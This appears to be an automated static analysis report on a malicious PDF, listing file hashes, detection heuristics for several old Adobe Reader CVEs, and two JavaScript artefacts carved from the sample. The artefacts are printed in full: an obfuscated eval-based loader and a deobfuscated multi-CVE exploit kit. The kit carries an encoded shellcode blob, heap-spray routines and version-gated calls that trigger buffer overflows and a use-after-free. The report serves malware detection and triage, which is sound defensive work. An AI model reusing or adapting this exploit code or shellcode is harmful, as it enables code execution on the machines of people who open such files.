Malicious PDF — malware analysis report

Static analysis result for SHA-256 ef85816957a3e5bc…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-08
MD5: 25ef8ac71ff0c8857574564bdc5ef234 SHA-1: d26642e7d7279deb1c5046169acdf49503ea74fc SHA-256: ef85816957a3e5bcd367436bf3873e9fd03ce2d1b061d4aed45cb72d8632f980
408 Risk Score

Malware Insights

The PDF contains embedded JavaScript, indicated by heuristic firings and the presence of a JavaScript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to download and execute a second-stage payload, although the specific actions are not detailed in the provided evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0F7 439 bytes
SHA-256: ae1aa7107e8c0046b731381f24da6e860fca609385a8ac846c69fcaeb7889913
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
zozxq='';
fquo=('qwrwqr','tit');
e('lfz=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
nsj=e('String.fro'+lfz.substr(0,9));
hdi = e(lfz.substr(9)['replace'](/u/g,','));
e('k=hdi.length');
for (i = 0; i < k; i+=2) {
	dfyc = hdi[i+1] + ('erybjkerl',hdi[i]);
	zozxq += nsj(dfyc);
}
e(zozxq);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3672 bytes
SHA-256: 12a9c3b65988af7f458fc9cb7210bcfda181842e54f97fd6b55b8d1ccebabb3e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u43b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%u2934%ue2aa%uc3fa%ue5e8%uffff%uc0ff%u2825%u2929%ua877%u75c5%u2928%ua029%ua4ce%u3966%u46a4%u187d%u7ef2%u7a78%u7a7a%u7a7a%u7a7a%u7a7c%u417a%u282d%u2929%u7f7c%u417a%u4746%u2929%u5c41%u455b%u7d44%ua741%u2767%uc1c5%u2961%u2929%uc179%u2955%u2929%uf9d6%uedaa%u4121%uc666%u2c66%uc179%u2945%u2929%uf9d6%ue9ac%u3e5c%u7d43%uda70%u4183%ud75b%u3f9a%u34c1%u2929%u7929%u78c1%u2929%ud629%u7af9%ud743%ua041%u2846%uc194%u2921%u2929%uc179%u2915%u2929%uf9d6%u1849%u4de9%u79a2%ua219%u257b%u7ba2%ua23d%u015b%u3190%u2929%u1829%u18d6%u85e9%u4815%u2b55%u0905%ue6e8%u2824%ucbee%ua8d9%u72d6%u6395%ua243%u396b%u3ba2%uf05c%u6da0%u350d%uea48%ua249%u0d45%ua20d%u156c%u7da2%u512c%uc328%u63a2%ua231%u0973%uc228%u1dca%ua260%ua21d%uc728%ud618%ue918%u85d5%ue9ad%u2e5d%ue6e8%u2824%uc2ee%u12dd%u0d55%u5c01%ua2c8%u0d73%uc228%ua24f%u6225%u73a2%u2835%ua2c2%ua22d%uc128%u6da0%u350d%ueb48%u2921%uc6c1%ud6d7%u41d6%u5d5d%u1359%u0606%u401d%u4e4c%u1b10%u4b5a%u4a07%u0753%u4a4a%u4806%u4a4a%u5a4c%u1e5a%u4206%u5907%u5941%u4f16%u1a14%u0f11%u144c%u291c';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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